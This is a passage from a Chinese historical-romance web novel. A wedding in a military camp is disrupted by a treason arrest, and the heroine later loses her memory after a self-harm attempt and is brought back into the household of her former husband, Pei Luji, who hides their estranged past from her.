可她带着小兔来到他营帐,才发现人早已走了,屋内那张木几上摆放的茶都微凉了。 小兔子眼睛红红的,耳朵耷了下来。 戚央央用手摸摸安慰它:“对不起我以为他会等我酒的” 是啊,他昨日明明自己说,让她送酒的,现在她的酒没送,他却先走了 吉时到,是时候上花轿了。 媒婆早早就来到,戚央央在附近请来的大娘帮助下上好妆,戴好凤冠,穿好嫁衣,准备由媒婆背上花轿。 虽说在军营里成亲,一切程序从简,但上花轿这个环节,新郎君说了,还是得要有。 于是,便请了花轿队来,打算绕着军营走几圈,从这个营帐抬到另一个营帐。 大晋女儿家出嫁本是由家中或者旁室的兄弟来背上花轿的,寓意嘱咐,要实在连旁室都没有子嗣的人,才会请媒婆来背,她当年嫁给裴陆戟的时候,也是由媒婆背上花轿,她本已习惯。 可当她盖好盖头走出去时,却听见修竹的声音。 修竹今日难得穿一身锦衣,十分腼腆地站在她面前,微微伏下身子。 “是我们世子嘱我今日代他,来给戚姑娘你当兄长送你上花轿的。” 戚央央微愣,良久,轻轻点头。 “谢谢。” 今日军营里士兵整齐列阵,那站姿那列队,比裴陆戟刚来那会已经好了不知多少。 他们整齐出列,手握系着红绸的兵器,在新娘新郎身边路过时,刷刷整齐行礼。 戚央央听着那声音,忍不住微掀盖头来看,却不慎与心上人目光相接,莞尔一笑。 此情此景,让她觉得仿佛还沉浸在小时候嫁人的梦中一样,那里有父兄的军营、战士,她在军营里出嫁,由兄长背她上花轿,嫁给一位威风凛凛的大将军。 美好的童年憧憬,都得以实现。 “大人,再过不远,就离开静安县地界了。” 下属提醒道。 裴陆戟点了点头,掐算了算时辰,现在这个时候,他们应该拜了天地了吧? 她的愿望终于成真了,又如愿在军营出嫁,应该高兴了吧? 他欠她太多了,需要这辈子慢慢来还,那就先从她的嫁妆和心情开始吧。 她心脉处那些经年累月因为难过而淤堵了的地方,他就一点一点让她高兴,定婚期,摆设宴,送嫁妆,放萤虫,送她兄长陪伴出嫁 只要她高兴了,淤堵就会一点一点疏通,他把能够为她做的,都给她做。 “走吧,我们要赶上城门关闭前出城。” 他撂下一句,准备打马往前。 不料此时,修竹骑马追了上来。 他的衣衫都是血和污泥,头发微乱,有点狼狈的样子。 “世子世子!可算追上你了” 他气喘道:“不不不不好了,沐沐将军他被丞相派来的人抓了,说说” “说他通敌!” 第66章 他缓缓收回手,低头笑了出来…… 戚央央泪眼婆娑地望着眼前被砸得瓜果烂了一地、喜幔撕裂的四散的场景。 明明刚才拜堂之前, 沐大哥还牵着自己的手,神秘兮兮地凑在她耳旁说话,说等婚后, 就告诉她一个特好的消息,她知道之后, 一定会高兴得哭出来。 可一转眼, 他们拜堂拜到一半, 就突然涌进了一批官兵, 说是奉命捉拿罪臣,把她的沐大哥抓走了。 “你们”戚央央把凤冠摘了, 冲过去抢了带头的士兵的武器,抵在那士兵脖颈, “你们没拿出实证,怎么可以随便抓人??你说沐将军通敌, 那你把证据拿出来啊!” 那士兵显然也是名世家子弟兵, 平日里偷鸡摸狗惯了, 操练是疏于操练的, 才会被戚央央轻易制服压在地上。 “我们衙门只是负责把犯人押送到京城,其他的不归我们管, 你要是想知道,自己到京城问去!”那名带兵的人被她吓出来一额汗道。 这时, 又有一队人马似乎是来自更高一级的衙门,各人都佩戴长弯刀,来到后立马下逮捕令道:“主上有令, 立马捉拿逃犯戚氏归案!” 于是,十数人便一起涌过来欲将戚央央抓起来。 “住手!” 恰在这个时候,裴陆戟打马而来, 几下打倒了数个欲上前抓人的衙差。 “丞相有令,犯妇人戚氏由我负责捉拿上京。” 他亮出了一枚白玉信物,那官差辨认过确实丞相信物后,就扬袖让大家都住手。 裴陆戟下马,一步一步地来到她面前,朝她伸手。 戚央央满眼忧愤地瞪着他,“啪”地一声,一把打开他的手, “裴大人好生大的能耐啊,总能给人意料不到的反击,先是假惺惺地同意我们成亲,等一切都准备好了,就带人来毁掉一切,这也已经是你最擅长的事情了,是吧?” 戚央央满脸的泪水,深深地刺痛他。 他缓缓收回手,低头笑了出来。 这时,小兔子不知从何处一跳一跳地跑出来,身上拖拽着被撕掉的喜幔,戚央央想抱起它,不料却被它逃掉,一下跳到裴陆戟身边。 它提起前爪,站立起来仰头去咬住他衣摆,轻轻拽了拽。 “小兔儿你回来,就不怕他杀了你吗?”戚央央满心满腔都是对他的仇恨,看来是不会肯跟他走了。 于是,裴陆戟朝她身后的人一比眼色,云影立马往她昏睡穴轻轻一劈,她就昏倒了。 他连忙上前抱住她。 “启程回京。”他将她抱上马,与他一同共骑,发命道。 戚央央醒来才发现自己已经在回京的路上,被人用帕子绑住了双手,用一大块甜糕塞住了嘴巴,放倒在宽阔的马车上。 而对面坐如松枝,优雅安然端着公文看的,便是她恨得牙痒的裴陆戟了。 “戏弄我能让你很快活是吗?裴陆戟”她吐掉了嘴里的甜糕,咬牙道。 戚央央一生都没恨过几个人,就算是车壁大役一战中,把她父兄战败的士兵,她也没恨多久,因为她知道两国相战,那些士兵也只是为保卫自己家人罢了。 但裴陆戟这人,她恨不得挖了他的心,看看是什么颜色的。 “若我说,此事不是我所为,你信吗?” 他放下公文,朝她看来。 脚边,小兔子正悠闲地吃着新鲜的牧草。 “不是你所为,还能有谁、有谁、有谁能有如此大的能力去栽赃,他又何必这么周折去栽赃一个荆王身边的小人物!” 她气得浑身发颤,胸腔一震一震的,裴陆戟大概预料到她的情况,慌忙坐过来,捏住她手腕。 “你不要动气,先前给你看病的大夫没告诉过你,你心脉淤堵了,不可再忧愤悲伤的吗?” 他着急道。 戚央央看着他,眉头皱了皱。 “裴陆戟,你喜欢我,是吗?” 她突如其来说了这么一句,猝不及防弄乱了他的心绪。 他眼神躲闪,手一下松开她手腕,背过身去站了起来。 “你这人,真是活该啊,我以前那样喜欢你的时候,你不珍惜,我都以为自己永远都无法让你喜欢上了,可你如今却喜欢我了。” “该说你什么好,你就是心思狭隘,为人卑劣,同时见不得别人好,一旦知道我不喜欢你了,立马就回过头,其实你并不是真的喜欢,你就是纯粹坏,纯粹得不到了就想抢罢了。” “原来,你是这么看我的”裴陆戟缓缓笑出声来。 “我这辈子真是瞎了眼,走了霉运,才会让你遇上我,可惜,我只是一介孤女,最多也只能写上几个话本,含沙射影地骂骂你罢了,在权势之下,你们世家之人全都联合在一起,我根本拿不了你怎样” 她说着说着不禁流泪忧伤起来。 裴陆戟心里也是难受. “是啊你这辈子让我遇上,真是你倒了八辈子大霉啊”他闭了闭眼。 “你这个人,一辈子也学不会爱人,一辈子也得不到幸福的!因为你根本不配!你就不配!” 她继续骂。 那年,她在他生辰之时,亲手在一个个生辰的红灯笼上写下美好的祝愿: 愿裴郎一切尽意,?百事从欢,浅予深深,长乐未央。 可是现在,她只会说:你这个人,一辈子也不配得到幸福。 是啊,他活该,他的确活该。 他说不出一句求她原谅的话,因为有些伤害,一旦伤害过,就永远没办法消弭。 就像现在 “我不会让你把我带到京城,我是不会受你胁迫,做一切自己不愿做的事的” 戚央央此时已经将捆绑着双手的帕子掙开,缓缓抽掉发间的簪子。 她拿着簪尖,本来对准裴陆戟,却在他回身看过来的时候,突然扭转方向刺向自己的颈脉 “住手!” 他着急之下,用手抓紧了她的簪子,簪尖把他手掌刺得血从指缝间流出,一滴滴滴落在马车上,染红了垫子。 戚央央对他微微一笑,继而扭头往行进着的车壁,狠狠一撞! 就这么在他面前无声无息倒下。 “央央!!————” · 裴陆戟抱着她,从黑夜到天明,侍药之事从不假手于人,自己一小口一小口地用瓷勺喂到她嘴里,完了还要替她擦掉多余溢出的药液,重换衣裳。 “世子,三天了,眼看着京城快到了,你硬是三天三夜没合眼,大夫都说了,戚姑娘她再过一阵等头上淤血清了,会醒的。你总该去歇息一下,休整好再进宫啊。” 修竹把药端上来道。 裴陆戟坚持要把药喂完,接过他的碗给她喂药,摇头道:“我不困,睡不着,睡不安稳,与其这样,不如守着她。” 车队一行在客栈休整过,继续上路,而裴陆戟却又熬了一个晚上,早上时抱着被自己披风裹严实了的人,小心翼翼上车。 “车走慢些,不急。”他命道。 可修竹却急红了眼,不急?怎么能不急呢?任命书发放到现在,已经好几个月过去,世子他路上再怎么磨蹭,也不能静安县到京城一路最多半月的路程,走了好几个月啊! 本来他是等到戚姑娘成婚那天快马加鞭回去,这样最快七天就能到达,可经过这么一趟,路上又是换马车,又是寻医弄药,下车休整的,这都快一个月了,才堪堪走到。 世子他就不担心被圣上责怪? · 在抵达京城那天,实在拖得无法再拖了,裴陆戟只好回国公府好好安顿好昏迷的人,回屋换上官袍,就急急忙忙进宫面圣。 戚央央恰好在这个时候醒来。 裴陆戟才刚出宫门,就听见戚央央醒来后不知所踪的消息,急得不行,连忙快马加鞭回府。 可当他一进府,突然有一女子朝他迎面扑来,牢牢抱住了他。 “郎君你终于回来了!” 她缩在他怀里哭道:“你昨夜一夜不回都不知道我给你准备了多少生辰礼那些我亲自提笔的贺寿灯笼,你都看了吗?” 裴陆戟怔了怔,衣袍尚还残余着一路急马奔跑的尘灰味,就被她这么猝不及防撞了进来,彻底打断了思考。 她继续在他怀里哭道:“我听说听别人说说郎君你即将要迎娶公主,准备把我降妻为妾了我以为你以后都不回来了” 迎娶公主降妻为妾? 裴陆戟拧了拧眉,伸手将她拉开,道:“央央,你忘记了吗?” 戚央央哭得眼睛很红,仰头:“忘记什么了?我没忘记,昨日是你生辰,我每年都会替你准备与你岁数相符的生辰礼物,一桌子你爱吃的菜,是你自己忘记回来了” “你真的忘了吗?”他惊诧。 专门找来宫里的太医给戚央央看诊,太医给她诊脉过后,眉头紧锁。 裴陆戟请太医到外面说话。 “太医,她怎样了?” “夫姑娘她”太医顾虑着称呼,看世子一眼,还是称了一声“姑娘”,道:“她脑袋的淤血清倒是清了些,但有些病人撞伤头部之后,的确会有短暂的失忆。” “那她何时能好?”他问。 “这不好说,”太医拢了拢袖,“有些人淤血彻底清掉以后,仍会忘记从前的一些事情,但有些人就很快恢复,这个说不准。” 裴陆戟眉头深锁:“那我能做什么?” “按时服药,然后多跟她说之前发生的事情,刺激她记忆。” “好,我明白。” 他送走太医回院子的时候,便见那姑娘连鞋子都没趿,一路慌张神态忧虑地朝他走来。 她如今在他面前,已经不是那个对他厌恶至极,张出爪牙的“前夫人”了,而是回到了从前,满心满眼都是他,一味对他柔顺小意的小妻子。 “郎君,你为何把我放在正院旁边这个院子啊?你是不是真的打算把我位置腾出来,给公主殿下了?” 她哽咽声音,抓着他的手不放。 裴陆戟低头看她,等他果真从她眼中看到那些从前所见过的,那些爱慕的光芒时,他犹豫了起来。 第67章 他皱眉一把将她打横抱了起来…… “你怎么出来不穿鞋?” 他皱眉一把将她打横抱了起来, 穿过中庭,走回屋内。 等将她抱到床边坐着的时候,他亲自弯下膝盖, 替她把脚底的砂石揩拭掉,给她穿鞋。 戚央央有些受宠若惊道:“郎君你你为什么” 裴陆戟帮她穿好鞋袜, 还亲自端起了床边的药碗, 用瓷勺轻轻搅拌几下弄凉, 送到她唇边道:“什么为什么?” “你为什么会你从前从来不会那么做的”她小声道, “而且而且你从前都只叫我戚氏,刚才你却突然喊我‘央央’, 我我真的好高兴” 他微微敛下眼眉,想起过往的事。 那时候, 他仍在记恨她姨母插手安排他的事情,便想着故意冷待那对姨甥, 来抵抗。 他其实也想对她好, 也试过对她好, 但对她好了之后, 他又异常痛苦。 他觉得自己被人拿捏了心,他极度不爽, 愤世嫉俗,加之所喝的药, 让他的心一点一点冷却下去,他一面想要逃避抵抗,一面忍不住想朝她靠近。 可是如今, 他已经许久不服药,也已经彻底放弃了抵抗。 “我从前”他声音嘶哑,“想要这么做, 但我就是就是” “就是太害羞,是吗?”她甜甜地朝他笑,替他解释道。 可他不再需要任何人替他遮掩,错了就是错了,他不是不能面对。 “不,不对,”他眼尾泛红,将两臂扶在她身旁两侧,呈将她包围起来的姿势,仰着头对她道: “不是那样的,是我不好,是我坏,你这辈子被我遇上简直是你倒了八辈子大霉” “不!”戚央央眉头皱起,“你怎能这么说自己呢?我遇上你,是这辈子最大的幸运,能嫁与你,更是修了八辈子的福!” 他红了眼伸手替她捋了捋鬓发,“你要是恢复了记忆,就不会那么想了。” 戚央央奇怪道:“你老是说我失忆,那到底我失去的是什么记忆,明明我和你在一起的记忆我都记得清清楚楚呀,难道是我忘记了你娶了公主之后的记忆吗?” “没有娶公主。”他立马否定,“我从头到尾,根本没想过娶公主,也没有娶她,我只娶你一人,以后也不娶别人。” 他这么一说,她就放下心来,“既然这样,那我没什么好怕的了,那你告诉我,我到底忘记了什么?” “暂时”他眉目黯了黯,“能不能暂时先不告诉你?我” “我想就这么同你相处,几日也行。” 姑娘清澈见底的眉眼里浸染了笑意,“行,反正只要你没娶过公主,你要是想一辈子不告诉我也行。” · 裴陆戟这段时间心情很好,残影他们已经很少看见他臭脸的时候了。 张白石更是平常一下朝就过来逗他,“裴尚书最近是家中有喜事吗?怎么总觉得你” 他绞尽脑汁找不到词形容,看着他本来就不善言笑的俊脸,此时竟多了几分慈眉善目的错觉,他张口就道:“总觉得你最近看起来模样和善了许多。” 谁知他听了好像也并不气恼,只是轻轻抛下一句:“是吗”然后就走。 张白石在后头追了上去,“裴尚书尚书大人” 余光看着附近,见四旁都没有人了,张白石才手捧笏板微敛下头,做出一副恭维的模样,让笏板阻挡他说话的嘴型道:“你不是想知道牢里关着的那人,现在怎么了吗?最近都不大方便,我晚上偷摸着来找你。” 说完,他像往常官员给裴尚书行礼一样,做了个拜礼,然后离开。 到了晚上,张白石一袭夜行衣从正房后面的屋顶跳了下来。 不料,却发现裴陆戟并没有在约定好的地方等他。 “人上哪去了?不知道外边如今把我盯得紧吗,还不抓紧时间” 张白石一边碎碎地抱怨,一边沿着廊壁幽暗处走,试图找人。 找着找着,找到正院旁的扶风院时,突然听见屋子里传出男子用清冷声线哼唱童谣的歌声,顿感疑惑。 裴少仲这家伙,是往府上藏外室子了么?大晚上怎还有男仆给小主唱童谣哄睡? 可听着听着,总感觉不对,声音怎么听着还有些熟悉呢? 他听着听着觉得童谣词儿有趣极了,一不小心就蹲墙下听了起来。 “小花猪,能上树,绿成荫花儿红,小花猪,嗜睡能吃打呼噜,小花猪,人人爱,终日享洪福” 听了没一会,又变成另一首:“月亮圆,月亮弯,月下藏了个小铃铛,铃铛响,姝儿睡,阿娘的好姝儿乖乖睡” 听到这里,张白石没忍住发出“噗”的一声。 毕竟这么“童趣”的歌谣,被个男人用清冷的、耿直的声音唱出来,是有些怪异。 屋门没多久就被人打开了,裴陆戟眉头紧蹙地站在门口,轻咳了一声,将门轻轻拉上,轻步走了出去,“跟我来。” 张白石依言随上。 二人来到书房的时候,张白石依然以袖掩脸,双肩一抖一抖地颤动。 “你要笑到什么时候?”裴陆戟语气不满,可声音听着倒没多生气。 张白石难得见他这副模样,此时不揶揄戏弄一下,更待何时? 他擦掉眼角笑出来的泪水,“少仲兄,许久未见,你在锦州那边,都与别人生子了吗?” “所以屋里那个,是你的长子,还是长女啊?” 裴陆戟本不欲搭他,但想到现在央央失忆的事,他总得安排一下身边的人别说错话,这位张大人平日也时常遇见,跟他交待好让他别说错话,总归没错。 于是,他只好冷着脸道:“是央央。” “什、什么?央央是谁?” “我前夫人。”那个“前”字,被他说得极不情愿。 “哦,小雏菊”其实刚刚他说“央央”的时候,张白石已经猜到了,他就是嘴贱,忍不住想逗他而已。 可裴陆戟一听就来气,一把抽掉他欲将坐下的凳子,害他摔了个狠的。 张白石疼得眼泪直溢,摸着摔疼的臀部回头,只见他冰冷地威吓道:“以后,收敛下你的臭口,不许叫什么小雏菊。” “那小菊花?” 在他再次接触到他欲杀人的目光时,自感无趣道:“好吧,好吧不叫了不叫了,我以后叫她裴少夫人,可以了吧?” 裴陆戟眸光微动,他已经许久没有听见这个称呼了。 “好了,说回正事,”张白石拍干净身上的夜行衣,找了个地方坐下,“你要找的那位沐将军,他所犯之罪算是证据确凿了,不过” “确实有许多地方疑点重重,只是,这案子如今大寺只是协助而已,真正负责的是邢部那边。邢部如今是秦相的人在控制着,我们不好插手。” “陛下这回也不知道有什么被这糟老头拿捏着,竟一下就允许邢部来接管这样的案子了。” 裴陆戟默了默,“秦家势大,这位将军也不过是小人物,陛下不值得为一个小人物得罪他。” “陛下并不知道,这位沐将军手里正握着什么,若是他知道的话,可能就不会放任邢部去接管了,我明日要找机会单独面圣一次。”他道。 “可现在单独面圣很难,秦相那边都控制了不少耳目。”张白石道。 “所以要谨慎,你明日帮我。” 说到这里,张白石突然八卦了一下,“对了,这位沐将军到底手里握有什么重要东西,让你冒这么大风险来救?” “我好像听说,你在锦州的时候,秦相那老狐狸把裴少夫人和另外一个男子也弄去你军营那边了,一方面是为了看管戚家的人,一方面是想试验一下,你对她还是否有感情。” “可你现在把人都带回府了,又这么尽心尽力去救她情郎,你到底想做什么?不怕秦相怀疑你?” 想做什么,自然是想 他晃了晃神,很快收回注意,道:“不该操心的事你别操心,至于秦相那边” “放心吧,我已经同秦相知会过,她知道部分秘密,且又失忆了,我那么做是为了讨好,重新博取她感情,以求她恢复记忆后能从她手里拿到部分证据来销毁。” · 口里说只是为了讨好获取证据,但裴陆戟每天都十分沉浸,并乐在其中。 以前裴陆戟早上要去上朝之前,戚央央都会提前醒来替他准备朝服,但今天她醒来之时,发现人已经穿戴好朝服,坐在她床边望着他了。 央央一惊,“是我起晚了吗?” 裴陆戟摇摇头,依旧在看她,“没有,你起来太早了。” “那你已经穿戴好了呀,我还想着早点起来伺候你穿戴呢”她说着说着委屈道,“怪你,昨夜我睡不着,你就让我不睡得了,坐着等一下也不至于起晚,偏你要唱什么歌哄我睡啊,这一睡就睡过时辰了” “对,怪我。”他轻轻抓过她的手,往他俊俏的脸上打,“都唱的是些什么,就不该来荼毒我夫人的耳朵” 戚央央被他逗笑,连忙抽掉手,“好啦好啦,我从前怎么都不知道你这么坏啊?揶揄我起得晚就算了,还指桑骂槐说我喜欢的歌谣不好,哼。” 裴陆戟眉头一皱,急道:“我没有,我不是我是说自己唱得太难听,我不是说你” 见他着急得脸都红了的样子,央央再也忍不住“噗嗤”一声笑出来。 “哼,看来京城第一公子也是浪得虚名的,逗一逗你就当真了,这么容易信我啊?” 她轻眨着眸光一闪一闪的眼睛,唇边漾着笑意。 裴陆戟认真地看着她道:“你说什么我都信,我从前比现在坏多了,你都肯回到我身边,我还有什么不能信的?” 第68章 他起初还是委婉地拒绝,之后…… 现在的少夫人, 大概是如兰见过的,最幸福的少夫人了。 “如兰,郎君说他是因为夜里睡不踏实, 怕吵着我,才没让我搬回主院, 你说这些合欢花有解郁宁神助眠的功效, 我每日摘了给他泡茶喝, 他睡眠好了会让我回主院住吗?” 戚央央在扶风院前面的小花园里, 一边采花一边道。 如兰为难,不知该如何回答。 少夫人从前栽在世子手上, 行事有多卑微,她过得有多不高兴, 她不是不知晓。 想必世子有心把她带回府安养,却另辟了这处靠近主院且风光景致最好的院子让她住, 就是因为怕她会接触到旧物旧场景, 联想起痛苦的回忆吧? 可少夫人却老想着要如何回去住。 “少夫人, 这世子说了, 这个扶风院是他专程为你辟建的,这里的每一处建造、每一处景物, 一草一木都是根据少夫人的喜好,找人去各地搜罗回来的。少夫人就住在这里也没什么不好的。” 如兰说着, 戚央央一愣。 继而,她缓缓看向了这里的一墙一砖,小花园不远处有个小小的瞭望台, 那个瞭望台如兰不说,她都忘记了,如今一提, 还真觉得有那么几分熟悉的感觉。 “这么说来这瞭望台,还有屋顶那对脊兽跟我小时候的家,好像呢” 她神思恍惚道。 “还有这小花园里的花恰好跟我幼时收集的万花卉,用笔圈起来的那些品种,当真是一样的呢,那本画册我丢失多时,他、他是怎么知道的?” 如兰垂首道:“回少夫人,此事奴婢也是听修竹提过一次,据说世子曾去过少夫人旧时的家,彭州,他是在那边收集戚家旧物,并且四处探听戚家以前的事,所以知道的事情不少。” “哦,对了,听说他手上还收藏了一幅杨怀义老先生旧时的老画作,画作上作画的便是少夫人一家子呢。” “杨怀义老先生”戚央央一个对画没什么研究的人,不知道还有这一号人物的存在,她只依稀记得,在自己五岁左右,爹爹和哥哥们刚刚打仗凯旋的时候,的确是有位老先生背着画篓过来,说要为他们一家作幅画。 “所以他跑去彭州,到处探听我以前的事情这是为”她眉宇轻皱,当如兰的目光投来时,她扬眉展笑道:“原是为了替我建这么一座院子啊。” 如兰点点头,“世子用苦良心,少夫人就安心住在这里吧。” 戚央央眉眼低垂,“可是我是他夫人啊,他如今不碰我,还不让我住回主院,我怎么觉得我们好像已经不是夫妻了?” “如兰,你告诉我我到底忘记了什么,我和郎君之间是不是发生了什么?” · 裴陆戟匆匆忙忙从衙门赶回府,一来到扶风院附近,看见如兰带领一众奴婢跪在那里,低垂着头,就知道不好了。 “少夫人怎么了?”他皱眉紧张问。 “回禀世子是奴婢办事不力,害害少夫人少夫人”如兰垂着头说不下去。 裴陆戟便一拂官袍越过她们,进院里去。 一进院子,就看见戚央央正顶着一垒书本在日头底下暴晒着,现在虽然申时已过,但日头还是猛烈,可她却浑身都冒着冷汗。 “央央!你在干什么??” 他心急如焚地跑过去,一把摘掉她头上的书籍,扶着她道:“你身子还未完全恢复,在糟践自己身子做什么??” 他因为着急而语气冲了些,戚央央许久没听他如此语气对她说话,一时之间有些适应不良,眼眶红了红,“你不是因为嫌弃我的出身所以所以把我赶出正院住吗?身份我改变不了,我只能只能让自己仪态和和仪表更加更加得体一些在外头装装世家女也游刃有余有余一些不至于让你被别人取” 她的话断断续续的都没说完,就被裴陆戟搂进了怀里。 这些日子以来,他甚少靠近她,更不用说与她有什么亲密的接触,有时候扶她一把,或者风大替她披衣,都是披完之后立马就离远一些,生怕碰着她似的。 就像现在他忘情地抱紧自己,没多久就清醒过来,立马远离开来,可戚央央却不依不挠地一把搂住他的腰,不让他离开道:“你看你最近这段时间到底在躲什么?” “你从前态度上对我冷淡,但好歹每月还是会在固定的日子主动和我同`房,可如今你虽然夜夜都来我屋里陪我说话,却像足一个外人似的,坐在不远不近的地方,半点不敢靠近我,这是为何?” 戚央央紧紧抱住他的腰,把脸贴紧他。 说着,她就踮起脚,试图对他主动。 裴陆戟起初还是委婉地拒绝,但被她成功触碰到唇瓣后,便一发不可收拾。 起先他神智还在提醒着他,不可做趁人之危的事情,但她用双手攀着他,已经将身子完全依靠过来了,他若一不小心就会弄伤她,所以也不敢轻举妄动,只是努力按住她肩膀,不让她再继续。 “为什么?”她伤心的泪水一滴一滴地落下。 砸落在地,也仿佛砸在他心头,烫出一个大洞。 “央央你别考验我了”他的声音嘶哑起来。 “谁考验你了,是你不爱我了不,不对啊,你一直都不爱我这么多年来,都是我一个人自作多情,自以为多付出一些就能感动你,是我” “不,是我错了”裴陆戟立马抱紧她,不让她再继续说,也不让她继续伤心。 “你没错,我也并非对你无意,其实” 他鼓起勇气,还这么多年来,崔氏放火自焚前对他告诫的声音一直在他耳边回响,困扰他心绪。 她告诉他,情爱是这个世上最龌龊,最不该碰的东西,一旦触碰了,先交心的那个,一定会陷入万劫不复的境地。 这些他都知道,但他今日,还是鼓起勇气对她交心了, “央央,其实我早就被你吸引,早就爱上你了” “在很久很久以前,久到你都不认识我的时候开始” “可我却伤害了你。” 他痛苦道。 怀里的人逐渐安静下来,听他静静地说。 “以前的我在你眼中,看似什么都会,都厉害,才思敏捷,深得帝心,前途一片光明,但实际上,我对你冷漠对你生气,是因为我的无能” “我没有能力让你真正喜欢上一个心里阴暗不堪,卑鄙拙劣不已的人,我看着你一面对我好,一面又因为讨好而压低自己身份,做尽一切委屈自己之事,我无能为力,我不知该如何做,才能叫你做回你自己” “郎君你在说什么呢?”怀里的她声音轻柔地响了起来,“我对你百般的好,难道不是因为喜欢吗?” “我不知道”他搂紧她道,“我只知道我母亲,她一开始也是像你一样,没有自我,对世家执着若狂,把自己的一生,都系在了家族和裴晟身上,当家族和爱人冲突上的时候,她把自己折磨得很厉害” “我不希望再看见这样的事情” “我不懂爱,因为从没有人教过我,从没有人给予过我,我的父亲,不爱我母亲,从而也并不爱我,我母亲,没有自我,不会爱丈夫、爱孩子她只是个让世家控制下的傀儡。” “我恨恨透了世家也恨透了我的家人” “我很想很想爱你但是我却不懂爱一个人的方式” 戚央央是第一次听他说这种剖心挖肝的话,像他这么一个矜贵骄傲的人,让他把这些过往经历、以及心里的话剖析出来,无疑是把他凌迟完之后,再血淋淋端上来一样。 可这却是他这么多年来,第一次为了追求爱,而勇敢踏出的第一步。 “戚央央,我爱你,却不会爱你,你能不能给我一个重新再来的机会?” “好。”央央笑道。 其实,裴陆戟觉得自己还是卑劣了。 他明知道央央如今失忆了,此时对她说那样的话,真情剖析,她怎么可能会不答应他? 可若她不是失忆,仍带着对他的仇恨,那些话他又无论如何都说不出来。 他只能加快速度将牢里的人拯救出来,拿到那些证据。 夜里,因为沐江恩的事件有转机,张白石又乔装悄悄闯进英国公府。 这回他故意来晚了一些,裴陆戟终于是在自己的屋里了。 但他来到他的屋前,却发现屋里被人反锁,他用暗号敲了好久门都没人回应。 他觉得奇怪,刚刚明明听见屋里有动静,而且屋里亮着,再说了,他即使真的已经睡下忘了熄灯,也不该睡得这么死,连敲门的暗号都听不见。 他正奇怪着的时候,就又听见屋里的动静了。 这回,是听见类似灯盏砸落地上的声音,同时有火光在摇曳。 他知道里头的人出事了,也不敢声张,只得将门撞开。 果不其然,门撞开后,他看见裴陆戟脸色发青地匍匐在地,手颤抖着伸向打翻了的油灯,将手毫不犹豫放进火里。 “你疯了!”张白石赶紧跑过去拉开他,并且将火扑灭, “你想学你母亲自焚是吗?!” 第69章 他又开始痛苦地弓起身子,在…… 裴陆戟被拉开后, 直挺挺地躺在地上,像搁浅干涸的鱼,双眸无神, 大口大口喘着气,浑身都在不停战栗、四肢蜷缩。 “你”张白石赶紧去将大门关闭严实, 再回到屋里四处找寻着, “你的药放在哪里?我帮你找” “没”他浑身都直冒冷汗, 小臂上的衣袖半捋着, 露出的半截手臂上全是他的齿痕,新旧伤痕交错, 看起来颇有些血肉模糊的惨状,“没药” 他又开始痛苦地弓起身子, 在地上挣扎起来。 “不备药你是不是疯了??” 张白石见识过他发病起来的惨状,就连那会在淮东的时候, 太子想让他主审顺便销毁那些世家贪墨的罪证, 他故意让自己忘记吃药发疯将账本留下, 顺便让秦兰沁看见自己发疯, 好推掉婚事一石二鸟的时候,也吃下了小部分的药, 保留一部分清醒呢。 “药方在哪?我替你去配”他无奈道。 “不”他神识越来越混乱,却还是竭力指着床边那条绳索, “把那那个绑绑起来” “我我不吃药” “你都痛苦成这样了还不吃药!自己的病,自己心里都没点数吗??” 张白石骂咧道,但因为怕极了他疯狂的样子, 还是去把绳取来,严严实实将他绑了起来。 不知过了多久,直到被绑着的人看起来奄奄一息, 张白石吓得赶紧过去探息。 “我没事”裴陆戟突然出声,吓得他手一缩, “挺过来了” 张白石帮他把绳子松开,向他汇报完案件的进展后,就忍不住问了起来:“现在说吧,你为何不服药?” 裴陆戟冷冷地瞥他一眼,仿佛在提醒他注意自己说话的语气。 张白石立马就怂道,“唉,你这人你说你平白没事干嘛总一副凶狠的样子嘛你这样会没有朋友,也没有姑娘敢靠近你的。” “我不需要朋友。”他冷冷道,“也不需要别的姑娘靠近。” “行,那小雏那那戚姑娘呢?” 他沉默。 “说到征服女人方面,你就不如我了吧?”张白石终于拿捏到他的弱点,嘿嘿地笑了起来。 裴陆戟突然“噌”一声从武器架上抽出剑刃横在他脖子,目光狠戾:“以后来我这里,嘴巴放干净些别用你的那一套肮脏思想套我身上,我不需要什么征服女人。” 张白石这人就是风流了些,其实私底下对自己妻妾也好,对外室也好,也是好得没话说,好到甚至都有些耙耳朵,他就只敢在对感情一无所知的裴陆戟面前呈呈威风罢了。 “对对不起,少仲兄,不说了不说了,把剑放下吧,不是征服女人,不是是被女人征服行不行?” 听到这里,他似乎起了些兴趣,收起剑,皱眉道:“怎么被被她征服?” 张白石则只关心别的:“你先告诉我,你为何不服药,连药都不备了,之前在淮东,是为了借口不同太子同流合污,那现在呢?又为的是什么?” 裴陆戟默了默,浑身的汗液未干道:“其实我已经很长一段时间没服旧时那些药了。” “我自己翻遍了医籍,找到了一种方法,从前服用的那些药,多少总有些后遗症,而且需要依赖药性,永远没办法真正根治。” “我自己研制了一种药性温和的药,平日服了调身体,等真正病发的时候,就靠着自己的意志力熬过去” “熬过去??”张白石想起他病发时骇人的模样,惊道:“那种程度的疼痛,怎么熬得过去?” “你已经不是第一次这样熬了?戚姑娘她知道吗?你让她搬去隔壁院子,也是为了不让她看见你晚上发作的样子吗?” 他发出一连串的疑问,多管闲事得直让裴陆戟皱了眉,“你到底要不要教?” “别着急嘛你先回答我问题先啊” 裴陆戟恨不得将这么好事的他就这么当街扔出府,要不是怕他被丞相的眼线发现,要不是自己还有求教于他的话。 最后,他为了姑且想听听过来人怎么讨姑娘芳心的事,只能忍着羞耻果真一一回答他的问题。 · 张白石告诉裴陆戟,要想对一个姑娘好,首先就要让她看见自己的关心,和对她的关注。 所以,之前他那些躲躲藏藏的关心和对她暗暗的注意,是不行的。 张白石说,要告诉对方,让对方知道自己对她所做的事。 听到这些,裴陆戟眉心都皱结成团了。 他拒绝道:“这岂不矫情了?” 张白石:“所以说少仲兄你不懂,对女人而言,自然是越矫情越好,越矫情越是能感觉到你爱她,若是你做了那么多的事情都藏在心里不说,同什么都不做,有什么分别?” “做那些事只是因为想为她做,那便去做了,什么都说出来,我跟长舌妇何异?” 裴陆戟冷道,“如果每为她做一件事,都要邀功似的说出来,岂不就显得很有目的性了吗?我岂是那种人,做一点事有什么好显摆的??” 张白石无可奈何点点头道:“行,世子厉害,那咱就不显摆,也不矫情了,你要是这么能的话,继续请继续,往后也不必问我了,看看你是能讨好人家,还是像以前一样,对你心灰意冷!” 裴陆戟忆起昨夜同张白石的对话,回府的路上,路过她平日最爱那家糕点铺子,略感别扭地在店铺前徘徊了一会。 